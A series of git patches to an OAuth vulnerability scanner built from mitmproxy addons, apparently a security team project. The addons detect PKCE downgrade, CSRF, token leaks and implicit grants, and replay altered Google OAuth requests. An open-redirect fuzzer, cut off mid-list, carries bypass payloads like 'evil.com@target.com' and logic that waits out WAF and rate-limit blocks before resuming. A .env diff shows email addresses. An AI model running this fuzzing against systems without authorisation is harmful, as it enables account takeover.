false_true_varifing_task = FalseTrueVarifingTask() load_dotenv(override=True) -class PKCEAddon: - def __init__(self): - self.checker = PKCEDowngradeChecker() - - async def request(self, flow: http.HTTPFlow): - print( - f"[DEBUG] Processing request: {flow.request.method} {flow.request.pretty_url}" - ) - try: - # 오탐 검사하고 있을때는 검증하지 않음 - if false_true_varifing_task.is_verifing_false_true(): - return - - await self.checker.test(flow) - except Exception as e: - print(f"[ERROR] Addon failed: {e}") - pass - - -class CsrfAddon: - def __init__(self): - self.checker = CsrfChecker() - - async def response(self, flow: http.HTTPFlow): - try: - # 오탐 검사하고 있을때는 검증하지 않음 - if false_true_varifing_task.is_verifing_false_true(): - return - await self.checker.response(flow) - except Exception as e: - print(f"[ERROR] CSRF Addon failed: {e}") - pass - - -class ScopeAddon: - def __init__(self): - self.checker = ScopeDetection() - - async def response(self, flow: http.HTTPFlow): - try: - # 오탐 검사하고 있을때는 검증하지 않음 - if false_true_varifing_task.is_verifing_false_true(): - return - await self.checker.test(flow) - except Exception as e: - print(f"[ERROR] ScopeDetection failed: {e}") - - - -class NonceAddon: - def __init__(self): - self.checker = NonceChecker() - - async def response(self, flow: http.HTTPFlow): - try: - pass - # TODO id_token을 파싱하는 부분이 누락되어있습니다. - # await self.checker.check_nonce_in_id_token(flow) - except Exception as e: - print(f"[ERROR] NonceAddon failed: {e}") - pass - - - -class AccessTokenAddon: - def __init__(self): - self.checker = AccessTokenScanner() - - async def response(self, flow: http.HTTPFlow): - try: - # 오탐 검사하고 있을때는 검증하지 않음 - if false_true_varifing_task.is_verifing_false_true(): - return - await self.checker.scan(flow) - except Exception as e: - print(f"[ERROR] AccessToken Addon failed: {e}") - pass - -class RedirectBypassAddon: - def __init__(self): - self.checker = RedirectBypassChecker() - - # request 대신 response 로 바꿔 보세요: - async def response(self, flow: http.HTTPFlow): - try: - # 오탐 검사하고 있을때는 검증하지 않음 - if false_true_varifing_task.is_verifing_false_true(): - return - await self.checker.test(flow) - except Exception as e: - print(f"[ERROR] RedirectBypass Addon failed: {e}") - -class GoogleLoginHintAddon(): +class AddonBase: + """ + Base class for addons. + Each addon should implement its own request or response method. + """ + def __init__(self) -> None: if os.getenv('GOOGLE_ID'): - self.checker = GoogleLoginHint() + self.google_login_hint = GoogleLoginHint() else: - self.checker = None - - async def request(self, flow: http.HTTPFlow): - if self.checker is None: - return - try: - await self.checker.request(flow) - except Exception as e: - print(f"[ERROR] GoogleLoginHint Addon failed: {e}") + self.google_login_hint = None -addons = [PKCEAddon(), ScopeAddon(), CsrfAddon(), NonceAddon(), AccessTokenAddon(), GoogleLoginHintAddon(), RedirectBypassAddon()] + async def request(self, flow: http.HTTPFlow): + if false_true_varifing_task.is_verifing_false_true(): + return + + tasks = [ + try_catch(self.google_login_hint.request(flow)) if self.google_login_hint else None, + try_catch(PKCEDowngradeChecker().test(flow)), + ] + await asyncio.gather(*tasks) + + async def response(self, flow: http.HTTPFlow): + if false_true_varifing_task.is_verifing_false_true(): + return + + tasks = [ + try_catch(CsrfChecker().response(flow)), + try_catch(ScopeDetection().test(flow)), + # try_catch(NonceChecker().check_nonce_in_request(flow)), + try_catch(AccessTokenScanner().scan(flow)), + try_catch(RedirectBypassChecker().test(flow)), + ] + await asyncio.gather(*tasks) + +addons = [AddonBase()] diff --git a/addon/pkce_check.py b/addon/pkce_check.py index 3466edc..8f922b9 100644 --- a/addon/pkce_check.py +++ b/addon/pkce_check.py @@ -1,9 +1,6 @@ from urllib.parse import urlparse, parse_qs, urlencode, urlunparse -import asyncio import httpx from typing import Dict, List - -import lib.cur_target_url as cur_target_url from lib.report_vuln import report_vuln diff --git a/addon/scope_detection.py b/addon/scope_detection.py index a5a2e2d..3ef088b 100644 --- a/addon/scope_detection.py +++ b/addon/scope_detection.py @@ -12,18 +12,16 @@ class ScopeDetection: return scope_values[0] return None - async def check_scope(self, flow): + async def test(self, flow): + if not is_oauth_uri(flow.request.pretty_url): + return + req = flow.request - res = flow.response parsed = urlparse(req.pretty_url) query = parsed.query - location = res.headers.get("Location", "") - location_query = urlparse(location).query - query_scope = self.get_scope_from_query(query) - location_scope = self.get_scope_from_query(location_query) if query_scope in ["all", "*"]: report_vuln( @@ -32,17 +30,3 @@ class ScopeDetection: status="WARNING", uri=req.pretty_url ) - if location_scope in ["all", "*"]: - report_vuln( - title="OAuth Scope Value Issue", - desc=f"Scope value issue detected in response location: {location_scope}", - status="WARNING", - uri=location - ) - - async def test(self, flow): - - if not is_oauth_uri(flow.request.pretty_url): - return - - await self.check_scope(flow) diff --git a/lib/utils/try_catch.py b/lib/utils/try_catch.py new file mode 100644 index 0000000..54bbc3b --- /dev/null +++ b/lib/utils/try_catch.py @@ -0,0 +1,5 @@ +async def try_catch(coro): + try: + return await coro + except Exception as e: + print(f"[ERROR] {coro} failed: {e}") From c20bcdebf3e047237f4260e18619004748679f8d Mon Sep 17 00:00:00 2001 From: KMINGON Date: Sun, 29 Jun 2025 17:14:43 +0900 Subject: [PATCH 44/56] =?UTF-8?q?[REFACTOR]:=20=EC=9A=94=EC=B2=AD=20?= =?UTF-8?q?=EB=B3=84=20=EA=B2=80=EC=A6=9D=20=ED=95=A8=EC=88=98=EB=A5=BC=20?= =?UTF-8?q?=EB=B6=84=EB=A6=AC=ED=95=98=EC=97=AC=20=EC=98=A4=ED=83=90?= =?UTF-8?q?=EB=A5=A0=20=EC=A4=84=EC=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- addon/access_token.py | 82 ++++++++++++++++++++++++++++--------------- 1 file changed, 53 insertions(+), 29 deletions(-) diff --git a/addon/access_token.py b/addon/access_token.py index 4f7c3ad..786c5c2 100644 --- a/addon/access_token.py +++ b/addon/access_token.py @@ -1,9 +1,9 @@ import re -from typing import Optional, Any import asyncio +from typing import Optional, Any from mitmproxy.http import HTTPFlow - +from urllib.parse import urlparse, parse_qs from lib.report_vuln import report_vuln @@ -24,13 +24,12 @@ class AccessTokenScanner: print("[TOKENDEBUG] ==scan request==") # URL 검사 - token_result = self._extract_token(request.url) - if token_result: - token, has_bearer = token_result + if self._is_implicit_flow(request.url): + print("[TOKENDEBUG] OAuth Implicit Flow detected.") report_vuln( title="Token Leak in Request URL", - desc=f"요청 URL에 토큰이 포함되어 있습니다 (앞 20자): {token[:20]}…", - status="MEDIUM" if has_bearer else "LOW", + desc="취약한 Grant Type입니다 (Implicit Grant Type)", + status="MEDIUM", uri=request.url ) @@ -39,11 +38,10 @@ class AccessTokenScanner: body_text = request.get_text(strict=False) token_result = self._extract_token(body_text) if token_result: - token, has_bearer = token_result report_vuln( title="Token Leak in Request Body", - desc=f"요청 본문에 토큰이 포함되어 있습니다 (앞 20자): {token[:20]}…", - status="MEDIUM" if has_bearer else "LOW", + desc=f"요청 본문에 토큰이 포함되어 있습니다 (앞 20자): {token_result[:20]}…", + status="LOW", uri=request.url ) @@ -56,28 +54,24 @@ class AccessTokenScanner: if location_header := response.headers.get("Location"): token_result = self._extract_token(location_header) if token_result: - token, has_bearer = token_result - if has_bearer: - report_vuln( - title="Token Leak in Redirect URL (Location header)", - desc=f"Location 헤더에 토큰이 노출되었습니다 (앞 20자): {token[:20]}…", - status="MEDIUM", - uri=location_header, - ) + report_vuln( + title="Token Leak in Redirect URL (Location header)", + desc=f"Location 헤더에 토큰이 노출되었습니다 (앞 20자): {token_result[:20]}…", + status="MEDIUM", + uri=location_header, + ) # Body 검사 (텍스트 컨텐츠인 경우) if response.content: body_text = response.get_text(strict=False) token_result = self._extract_token(body_text) if token_result: - token, has_bearer = token_result - if has_bearer: - report_vuln( - title="Token Leak in Response Body", - desc=f"응답 본문에 토큰이 노출되었습니다 (앞 20자): {token[:20]}…", - status="MEDIUM", - uri=request_url, - ) + report_vuln( + title="Token Leak in Response Body", + desc=f"응답 본문에 토큰이 노출되었습니다 (앞 20자): {token_result[:20]}…", + status="LOW", + uri=request_url, + ) # 토큰 탐지 키워드드 _TOKEN_KEYS = [ @@ -87,8 +81,6 @@ class AccessTokenScanner: "refreshtoken", "auth_token", "session_token", - "secret_token", - "ssoauth", ] # "bearer" 표시가 동시에 존재할 때만 토큰으로 판단하여 false positive를 줄임 @@ -122,6 +114,38 @@ class AccessTokenScanner: if (m := pattern.search(text)) and m.group(1): print(f"[TOKENDEBUG] token: {m.group(1)}") print(f"[TOKENDEBUG] has_bearer: {has_bearer}") - return m.group(1), has_bearer + if has_bearer: + return m.group(1) print("[TOKENDEBUG] No matched.") return None + + def _is_implicit_flow(request_url: str) -> bool: + """ + URL의 파라미터에서 OAuth Implicit Flow 패턴을 체크합니다. + + Args: + request_url: 체크할 요청 URL + + Returns: + bool: client_id, redirect_uri, response_type이 모두 존재하고 + response_type 값이 'token'인 경우 True, 그렇지 않으면 False + """ + try: + parsed_url = urlparse(request_url) + query_params = parse_qs(parsed_url.query) + + # 필요한 파라미터들이 모두 존재하는지 확인 + required_params = ['client_id', 'redirect_uri', 'response_type'] + + for param in required_params: + if param not in query_params: + return False + + # response_type 값이 'token'인지 확인 + response_type_values = query_params.get('response_type', []) + + # response_type 파라미터가 존재하고 값 중에 'token'이 있는지 확인 + return 'token' in response_type_values + + except Exception: + return False \ No newline at end of file From 5edab9244c607c34be9026e78b124f6810209213 Mon Sep 17 00:00:00 2001 From: imnyang Date: Mon, 30 Jun 2025 21:44:08 +0900 Subject: [PATCH 45/56] =?UTF-8?q?=EC=9D=BC=EB=B6=80=20=ED=8A=B8=EB=9E=98?= =?UTF-8?q?=EC=BB=A4=EC=99=80=20cdn,=20=EC=97=AC=EB=9F=AC=20=ED=8C=8C?= =?UTF-8?q?=EC=9D=BC=20=ED=99=95=EC=9E=A5=EC=9E=90=EB=A5=BC=20=EC=A0=9C?= =?UTF-8?q?=EC=99=B8=ED=96=88=EC=8A=B5=EB=8B=88=EB=8B=A4.=20=EB=AD=94?= =?UTF-8?q?=EA=B0=80=20Type=EC=9D=B4=20=EC=9D=B4=EC=8A=88=EA=B0=80=20?= =?UTF-8?q?=EC=9E=88=EB=8A=94=EA=B1=B0=20=EA=B0=99=EC=9D=80=EB=8D=B0=20?= =?UTF-8?q?=EC=95=84=EB=AC=B4=EB=9E=98=EB=8F=84=20=EB=82=B4=20IDE=20?= =?UTF-8?q?=EC=84=A4=EC=A0=95=EC=9D=B4=20=EB=B9=A1=EC=84=B8=EC=84=9C=20?= =?UTF-8?q?=EA=B7=B8=EB=9F=B0=EA=B1=B0=20=EA=B0=99=EA=B8=B4=20=ED=95=98?= =?UTF-8?q?=EB=84=A4=EC=9A=94.?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- addon/init.py | 35 +++++++++++++++++++++++++++++++++-- 1 file changed, 33 insertions(+), 2 deletions(-) diff --git a/addon/init.py b/addon/init.py index d820f92..d0910fe 100644 --- a/addon/init.py +++ b/addon/init.py @@ -29,8 +29,39 @@ class AddonBase: else: self.google_login_hint = None + def should_ignore(self, flow: http.HTTPFlow) -> bool: + """Check if the request should be ignored.""" + ignore_domains = [ + ".googleapis.com", + "android.clients.google.com", # Added missing comma here + ".adtrafficquality.google", + ".googlesyndication.com", + "cdn.jsdelivr.net", + "update.googleapis.com", + ] + # Ignore .googleapis.com domains + for domain in ignore_domains: + if domain in flow.request.pretty_host: + return True + + # Ignore static files (JS, CSS, fonts, images, etc.) + # Split on '?' to remove query parameters before checking extension + path = flow.request.path.split('?')[0].lower() + static_extensions = [ + '.js', '.css', '.woff2', '.woff', '.ttf', '.otf', '.svg', + '.png', '.jpg', '.jpeg', '.gif', '.webp', '.ico', '.bmp', + '.tiff', '.tif', '.webm', '.mp4', '.avi', '.mov', '.pdf' + ] + + if any(path.endswith(ext) for ext in static_extensions): + return True + + return False + + + async def request(self, flow: http.HTTPFlow): - if false_true_varifing_task.is_verifing_false_true(): + if false_true_varifing_task.is_verifing_false_true() or self.should_ignore(flow): return tasks = [ @@ -40,7 +71,7 @@ class AddonBase: await asyncio.gather(*tasks) async def response(self, flow: http.HTTPFlow): - if false_true_varifing_task.is_verifing_false_true(): + if false_true_varifing_task.is_verifing_false_true() or self.should_ignore(flow): return tasks = [ From 87d5b0209c655e0af55c14696cd019cadefad58a Mon Sep 17 00:00:00 2001 From: imnyang Date: Mon, 30 Jun 2025 22:03:25 +0900 Subject: [PATCH 46/56] =?UTF-8?q?[Enhance]=20=EC=A0=95=EC=A0=81=20?= =?UTF-8?q?=ED=8C=8C=EC=9D=BC=20=ED=99=95=EC=9E=A5=EC=9E=90=20=EB=AA=A9?= =?UTF-8?q?=EB=A1=9D=EC=97=90=20'.md'=20=EB=B0=8F=20'.txt'=20=EC=B6=94?= =?UTF-8?q?=EA=B0=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- addon/init.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/addon/init.py b/addon/init.py index d0910fe..4ea8a18 100644 --- a/addon/init.py +++ b/addon/init.py @@ -50,7 +50,8 @@ class AddonBase: static_extensions = [ '.js', '.css', '.woff2', '.woff', '.ttf', '.otf', '.svg', '.png', '.jpg', '.jpeg', '.gif', '.webp', '.ico', '.bmp', - '.tiff', '.tif', '.webm', '.mp4', '.avi', '.mov', '.pdf' + '.tiff', '.tif', '.webm', '.mp4', '.avi', '.mov', '.pdf', '.md', + '.txt', '.csv' ] if any(path.endswith(ext) for ext in static_extensions): From a1758a60d499fa37db7d26f8cd7496ae2e5b40e6 Mon Sep 17 00:00:00 2001 From: "tv0924@icloud.com" Date: Wed, 2 Jul 2025 11:40:29 +0900 Subject: [PATCH 47/56] =?UTF-8?q?[Update]=20=EA=B2=80=EC=A6=9D=20=EC=A7=84?= =?UTF-8?q?=ED=96=89=20=EB=A1=9C=EC=A7=81=20=EB=B3=80=EA=B2=BD=20=EB=B0=8F?= =?UTF-8?q?=20csrf=20=EB=A1=9C=EC=A7=81=20=EB=B3=80=EA=B2=BD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .env | 2 +- addon/csrf_check.py | 2 +- addon/init.py | 8 ++++++-- 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/.env b/.env index ecef8e7..794cacd 100644 --- a/.env +++ b/.env @@ -1,2 +1,2 @@ # Google OAuth 설정 -GOOGLE_ID=whs.imnya.ng@gmail.com +GOOGLE_ID=oauth.j93es@gmail.com diff --git a/addon/csrf_check.py b/addon/csrf_check.py index 867191f..7ff3daa 100644 --- a/addon/csrf_check.py +++ b/addon/csrf_check.py @@ -9,7 +9,7 @@ from lib.utils.is_oauth_uri import is_oauth_uri class CsrfChecker: nonce_params = { - "state", "nonce", "as", "frame_id", "csrf_token", "csrf" + "state", "nonce", "csrf_token", "csrf" } def get_header(self, headers: http.Headers, name: str) -> Optional[str]: diff --git a/addon/init.py b/addon/init.py index 4ea8a18..632af8a 100644 --- a/addon/init.py +++ b/addon/init.py @@ -38,6 +38,8 @@ class AddonBase: ".googlesyndication.com", "cdn.jsdelivr.net", "update.googleapis.com", + ".google-analytics.com", + ".gstatic.com" ] # Ignore .googleapis.com domains for domain in ignore_domains: @@ -62,11 +64,13 @@ class AddonBase: async def request(self, flow: http.HTTPFlow): - if false_true_varifing_task.is_verifing_false_true() or self.should_ignore(flow): + if self.google_login_hint: + await try_catch(self.google_login_hint.request(flow)) + + if false_true_varifing_task.is_verifing_false_true(): return tasks = [ - try_catch(self.google_login_hint.request(flow)) if self.google_login_hint else None, try_catch(PKCEDowngradeChecker().test(flow)), ] await asyncio.gather(*tasks) From cf5746685a4d1c12021359d5d71755b6ef55bc43 Mon Sep 17 00:00:00 2001 From: KMINGON Date: Fri, 4 Jul 2025 21:31:15 +0900 Subject: [PATCH 48/56] =?UTF-8?q?[FIX]:=20implicit=20type=20=EC=B2=B4?= =?UTF-8?q?=ED=81=AC=20=ED=95=A8=EC=88=98=20=EC=9D=B8=EC=9E=90=20=EC=98=A4?= =?UTF-8?q?=EB=A5=98=EB=A1=9C=20=EB=8F=99=EC=9E=91=20=EC=95=88=ED=95=98?= =?UTF-8?q?=EB=8D=98=20=EA=B2=83=20=EC=88=98=EC=A0=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- addon/access_token.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/addon/access_token.py b/addon/access_token.py index 786c5c2..ceac509 100644 --- a/addon/access_token.py +++ b/addon/access_token.py @@ -119,7 +119,7 @@ class AccessTokenScanner: print("[TOKENDEBUG] No matched.") return None - def _is_implicit_flow(request_url: str) -> bool: + def _is_implicit_flow(self, request_url: str) -> bool: """ URL의 파라미터에서 OAuth Implicit Flow 패턴을 체크합니다. From e2ee91034d55ee811372ad35bfdaf022079b0de8 Mon Sep 17 00:00:00 2001 From: "tv0924@icloud.com" Date: Sat, 12 Jul 2025 12:08:03 +0900 Subject: [PATCH 49/56] [Update] client secret | google response type token | google login hint --- addon/client_secret.py | 29 ++++++++++++++++ addon/google_login_hint.py | 2 +- addon/google_response_type_token.py | 52 +++++++++++++++++++++++++++++ addon/init.py | 6 ++-- addon/redirect_uri_check.py | 2 ++ 5 files changed, 88 insertions(+), 3 deletions(-) create mode 100644 addon/client_secret.py create mode 100644 addon/google_response_type_token.py diff --git a/addon/client_secret.py b/addon/client_secret.py new file mode 100644 index 0000000..00c7386 --- /dev/null +++ b/addon/client_secret.py @@ -0,0 +1,29 @@ +from lib.report_vuln import report_vuln +from urllib.parse import urlparse, parse_qs + +class ClientSecret: + def get_target_from_query(self, query: str, target: str) -> str | None: + if not query: + return None + parsed = parse_qs(query) + scope_values = parsed.get(target, []) + if scope_values: + return scope_values[0] + return None + + async def test(self, flow): + req = flow.request + + parsed = urlparse(req.pretty_url) + query = parsed.query + + query_client_id = self.get_target_from_query(query, "client_id") + query_client_secret = self.get_target_from_query(query, "client_secret") + + if query_client_id and query_client_secret: + report_vuln( + title="OAuth Client Secret Exposure", + desc=f"Client ID and Secret found in request: {query_client_id}, {query_client_secret}", + status="CRITICAL", + uri=req.pretty_url + ) diff --git a/addon/google_login_hint.py b/addon/google_login_hint.py index fee0584..3abaf73 100644 --- a/addon/google_login_hint.py +++ b/addon/google_login_hint.py @@ -44,8 +44,8 @@ class GoogleLoginHint: # 요청 URL 수정 - URL과 호스트 모두 업데이트 flow.request.url = new_url - flow.request.pretty_url = new_url print(f"🔄 Modified URL: {new_url}") + def _is_google_oauth_url(self, url): """Google OAuth URL인지 확인""" google_oauth_domains = [ diff --git a/addon/google_response_type_token.py b/addon/google_response_type_token.py new file mode 100644 index 0000000..12cdf92 --- /dev/null +++ b/addon/google_response_type_token.py @@ -0,0 +1,52 @@ +from lib.report_vuln import report_vuln +import httpx +from lib.utils.is_oauth_uri import is_oauth_uri +from urllib.parse import urlparse, parse_qs + +class GoogleResponseTypeToken: + def get_taregt_from_query(self, query: str, target: str) -> str | None: + if not query: + return None + parsed = parse_qs(query) + scope_values = parsed.get(target, []) + if scope_values: + return scope_values[0] + return None + + async def test(self, flow): + req = flow.request + + if not is_oauth_uri(req.pretty_url): + return + + if req.pretty_host != "accounts.google.com": + return + + if "response_type=token" in req.pretty_url: + return + + url = f"{req.pretty_url}".replace("response_type=code", "response_type=token") + + async with httpx.AsyncClient(follow_redirects=True) as cli: + response = await cli.request( + method=req.method, + url=url, + headers=req.headers, + content=req.get_content(), + ) + + + if response.status_code >= 400: + return + + if "400." in response.text: + return + + if "response_type=token" in str(response.url): + report_vuln( + "Google Response Type Token", + f"Response type token allowed in {req.pretty_url}", + "HIGH", + str(response.url) + ) + diff --git a/addon/init.py b/addon/init.py index 632af8a..77fb210 100644 --- a/addon/init.py +++ b/addon/init.py @@ -3,10 +3,11 @@ import asyncio from pkce_check import PKCEDowngradeChecker from addon.scope_detection import ScopeDetection from csrf_check import CsrfChecker -from nonce_check import NonceChecker +from client_secret import ClientSecret from redirect_uri_check import RedirectBypassChecker from access_token import AccessTokenScanner from addon.google_login_hint import GoogleLoginHint +from addon.google_response_type_token import GoogleResponseTypeToken import os from dotenv import load_dotenv from lib.utils.try_catch import try_catch @@ -82,9 +83,10 @@ class AddonBase: tasks = [ try_catch(CsrfChecker().response(flow)), try_catch(ScopeDetection().test(flow)), - # try_catch(NonceChecker().check_nonce_in_request(flow)), + try_catch(ClientSecret().test(flow)), try_catch(AccessTokenScanner().scan(flow)), try_catch(RedirectBypassChecker().test(flow)), + try_catch(GoogleResponseTypeToken().test(flow)), ] await asyncio.gather(*tasks) diff --git a/addon/redirect_uri_check.py b/addon/redirect_uri_check.py index f6af225..83c0ac6 100644 --- a/addon/redirect_uri_check.py +++ b/addon/redirect_uri_check.py @@ -1296,6 +1296,8 @@ class RedirectBypassChecker: query = parse_qs(parsed.query) # location 헤더에 code가 없으면 스킵 + # TODO: 우리가 탐지하는 IdP가 제한적이기 때문에 각 IdP의 uri 패턴을 탐지하는 것도 좋아보임 + # Loaction 헤더에 담긴 인가 코드 뿐만 아니라, script나 다른 방식으로도 인가 코드가 전달될 수 있음 location = flow.response.headers.get("Location", "") if not self._is_code_in_location(location): return From 9898f215f3fb291cc076ce4e2db735d29f001359 Mon Sep 17 00:00:00 2001 From: gyuu04 Date: Sun, 13 Jul 2025 14:28:11 +0900 Subject: [PATCH 50/56] open redirect --- addon/init.py | 4 +- addon/open_redirect_check.py | 1290 +++++++++++++++++++++++++++++++ addon/redirect_uri_check.py | 1402 ---------------------------------- 3 files changed, 1292 insertions(+), 1404 deletions(-) create mode 100644 addon/open_redirect_check.py delete mode 100644 addon/redirect_uri_check.py diff --git a/addon/init.py b/addon/init.py index 77fb210..314e6f5 100644 --- a/addon/init.py +++ b/addon/init.py @@ -4,7 +4,7 @@ from pkce_check import PKCEDowngradeChecker from addon.scope_detection import ScopeDetection from csrf_check import CsrfChecker from client_secret import ClientSecret -from redirect_uri_check import RedirectBypassChecker +from addon.open_redirect_check import OpenRedirectChecker from access_token import AccessTokenScanner from addon.google_login_hint import GoogleLoginHint from addon.google_response_type_token import GoogleResponseTypeToken @@ -73,6 +73,7 @@ class AddonBase: tasks = [ try_catch(PKCEDowngradeChecker().test(flow)), + try_catch(OpenRedirectChecker().test(flow)), ] await asyncio.gather(*tasks) @@ -85,7 +86,6 @@ class AddonBase: try_catch(ScopeDetection().test(flow)), try_catch(ClientSecret().test(flow)), try_catch(AccessTokenScanner().scan(flow)), - try_catch(RedirectBypassChecker().test(flow)), try_catch(GoogleResponseTypeToken().test(flow)), ] await asyncio.gather(*tasks) diff --git a/addon/open_redirect_check.py b/addon/open_redirect_check.py new file mode 100644 index 0000000..9ea39cb --- /dev/null +++ b/addon/open_redirect_check.py @@ -0,0 +1,1290 @@ +from mitmproxy import http +import aiohttp +import asyncio +import random +import time +from urllib.parse import urlparse, parse_qs, urlencode, urlunparse +from lib.report_vuln import report_vuln + +class RedirectRateLimiter: + """클라이언트 앱 Open Redirect 체크 전용 rate limiter""" + def __init__(self): + self.last_request = 0 + self.request_count = 0 + self.failure_count = 0 + self.consecutive_failures = 0 + self.blocked_until = 0 + self.pattern_index = 0 # 현재 테스트 중인 패턴 번호 + + # 설정값 (전체 패턴 기준으로 최적화) + self.base_delay = 1.0 # 기본 1초 지연 (65개니까 빠르게) + self.failure_backoff = 0.5 # 실패시 0.5초씩 증가 + self.max_delay = 5.0 # 최대 5초 지연 + self.block_duration = 300 # 5분 차단 + self.success_speedup = 0.8 # 성공시 속도 증가 + + def reset_for_new_target(self): + """새로운 타겟을 위해 상태 리셋""" + self.last_request = 0 + self.request_count = 0 + self.failure_count = 0 + self.consecutive_failures = 0 + self.blocked_until = 0 + self.pattern_index = 0 + print("[RATE_LIMIT] 새로운 타겟을 위해 Rate Limiter 리셋됨") + + async def wait_if_needed(self, pattern_name: str, target_url: str = "") -> bool: + """속도 조절 및 차단 대기""" + current_time = time.time() + + # 차단 중인지 확인 + if current_time < self.blocked_until: + remaining = int(self.blocked_until - current_time) + + # 차단 이유 판단 + if remaining > 200: # 5분에 가까우면 강한 차단 + print(f"\n🛡️ 타겟 사이트의 보안 메커니즘이 감지됨!") + block_reason = "Security Block" + elif remaining > 100: # 2-3분이면 일시적 문제 + print(f"\n⚠️ 타겟 서버 일시적 문제!") + block_reason = "Server Issue" + else: # 짧으면 가벼운 제한 + print(f"\n🔒 타겟 사이트 접근 제한!") + block_reason = "Access Limit" + + print(f"⏰ {remaining}초 대기 후 {pattern_name} 패턴 퍼징 재개... (이유: {block_reason})") + + # 카운트다운 (10초 단위) + for i in range(remaining, 0, -1): + if i % 10 == 0 or i <= 10: + minutes = i // 60 + seconds = i % 60 + time_str = f"{minutes}분 {seconds}초" if minutes > 0 else f"{seconds}초" + print(f"\r⏳ 퍼징 재개까지: {time_str} 남음", end="", flush=True) + await asyncio.sleep(1) + + print(f"\n✅ 대기 완료! {pattern_name} 패턴 퍼징 재개...") + self.blocked_until = 0 + + # 일반적인 퍼징 속도 조절 + delay = self._calculate_delay() + time_since_last = current_time - self.last_request + + if time_since_last < delay: + wait_time = delay - time_since_last + if wait_time > 2: + print(f"[FUZZER] ⏳ {wait_time:.1f}초 대기 (패턴: {pattern_name})") + await asyncio.sleep(wait_time) + + self.last_request = time.time() + self.request_count += 1 + self.pattern_index += 1 + + # 진행률 표시 + if self.pattern_index % 5 == 0: + print(f"[FUZZER] 📊 {self.pattern_index}/65 우회 패턴 테스트 완료 ({(self.pattern_index/65)*100:.1f}%)") + + return True + + def _calculate_delay(self) -> float: + """적응형 지연 시간 계산""" + delay = self.base_delay + + # 연속 실패에 따른 백오프 + if self.consecutive_failures > 0: + backoff = min(self.consecutive_failures * self.failure_backoff, 3.0) + delay += backoff + + # 전체 실패율에 따른 조정 + if self.request_count > 5: + failure_rate = self.failure_count / self.request_count + if failure_rate > 0.3: # 실패율 30% 초과시 + delay *= (1 + failure_rate) + + # 최대값 제한 + delay = min(delay, self.max_delay) + + # 랜덤 지터 (±20%) + jitter = random.uniform(0.8, 1.2) + return delay * jitter + + def record_success(self): + """성공 기록""" + self.consecutive_failures = 0 + # 성공시 약간 속도 증가 (학습 효과) + if self.base_delay > 0.5: + self.base_delay *= self.success_speedup + + def record_failure(self, error_msg: str = ""): + """실패 기록 및 차단 감지""" + self.failure_count += 1 + self.consecutive_failures += 1 + + # 웹사이트 방어 메커니즘 감지 패턴들 + rate_limit_patterns = [ + '429', # Too Many Requests + 'rate limit', 'rate-limit', 'ratelimit', + 'too many requests', 'request limit', + 'throttled', 'throttling' + ] + + # 웹방화벽/보안 솔루션 차단 패턴들 + security_block_patterns = [ + 'cloudflare', 'security check', + 'access denied', 'forbidden', + 'blocked', 'banned', 'suspended', + 'captcha', 'recaptcha', + 'bot detected', 'suspicious activity' + ] + + # 일시적 서버 문제 + temporary_patterns = [ + '503', 'service unavailable', + 'server overloaded', 'temporarily unavailable', + 'maintenance', 'under maintenance' + ] + + error_lower = str(error_msg).lower() + + # 1. Rate Limit 감지 + if any(pattern in error_lower for pattern in rate_limit_patterns): + self.blocked_until = time.time() + self.block_duration + print(f"[RATE_LIMIT] 🚫 웹사이트 Rate Limit 감지 - {self.block_duration}초 대기 예정") + print(f"[INFO] 💡 타겟 사이트가 요청 빈도를 제한하고 있습니다: {error_msg}") + return + + # 2. 보안 솔루션 차단 + elif any(pattern in error_lower for pattern in security_block_patterns): + self.blocked_until = time.time() + self.block_duration + print(f"[SECURITY_BLOCK] 🛡️ 웹방화벽/보안 솔루션 차단 - {self.block_duration}초 대기 예정") + print(f"[INFO] 💡 Cloudflare, WAF 등이 요청을 차단했습니다: {error_msg}") + return + + # 3. 일시적 서버 문제 + elif any(pattern in error_lower for pattern in temporary_patterns): + short_wait = min(self.block_duration // 2, 150) + self.blocked_until = time.time() + short_wait + print(f"[SERVER_ISSUE] ⚠️ 서버 일시적 문제 - {short_wait}초 대기") + print(f"[INFO] 💡 타겟 서버에 일시적 문제가 있습니다: {error_msg}") + return + + # 4. 일반적인 HTTP 에러는 차단하지 않음 + else: + client_errors = ['400', '401', '404', 'bad request', 'unauthorized', 'not found'] + if any(code in error_lower for code in client_errors): + print(f"[HTTP_ERROR] ⚠️ HTTP 클라이언트 에러 (퍼징 계속): {error_msg}") + return + + # 403만 특별 처리 (웹방화벽일 가능성) + if '403' in error_lower: + short_wait = 60 + self.blocked_until = time.time() + short_wait + print(f"[ACCESS_DENIED] 🔒 접근 거부 - {short_wait}초 대기") + print(f"[INFO] 💡 타겟 사이트가 접근을 거부했습니다: {error_msg}") + return + + # 5. 연속 실패 임계값 + if self.consecutive_failures >= 15: + short_wait = 120 + self.blocked_until = time.time() + short_wait + print(f"[FUZZER_PAUSE] ⏸️ 연속 실패 {self.consecutive_failures}회 - {short_wait}초 대기") + print(f"[INFO] 💡 타겟 사이트가 모든 우회 패턴을 차단하고 있을 수 있습니다.") + +# 글로벌 레이트 리미터 +redirect_limiter = RedirectRateLimiter() + +class BypassPayload: + """ 우회 패턴 정의 """ + def __init__(self, name: str, mutate_func, description: str): + self.name = name + self.mutate = mutate_func #우회 url 만드는 함수 + self.description = description + + +class OpenRedirectChecker: + def __init__(self): + self.testing_targets = set() # 현재 테스트 중인 타겟들 + + """ 우회 페이로드 목록 """ + self.bypass_payloads = [ + BypassPayload( + name=r"@", + mutate_func=self._mutate_pattern1, + description=r"Host bypass attack using @ symbol: evil.com@target.com" + ), + + BypassPayload( + name=r"%ff@", + mutate_func=self._mutate_pattern2, + description=r"Hostname parsing bypass using Unicode %ff byte: evil%ff@target.com" + ), + + BypassPayload( + name=r"%ff_subdomain", + mutate_func=self._mutate_pattern3, + description=r"Unicode %ff byte 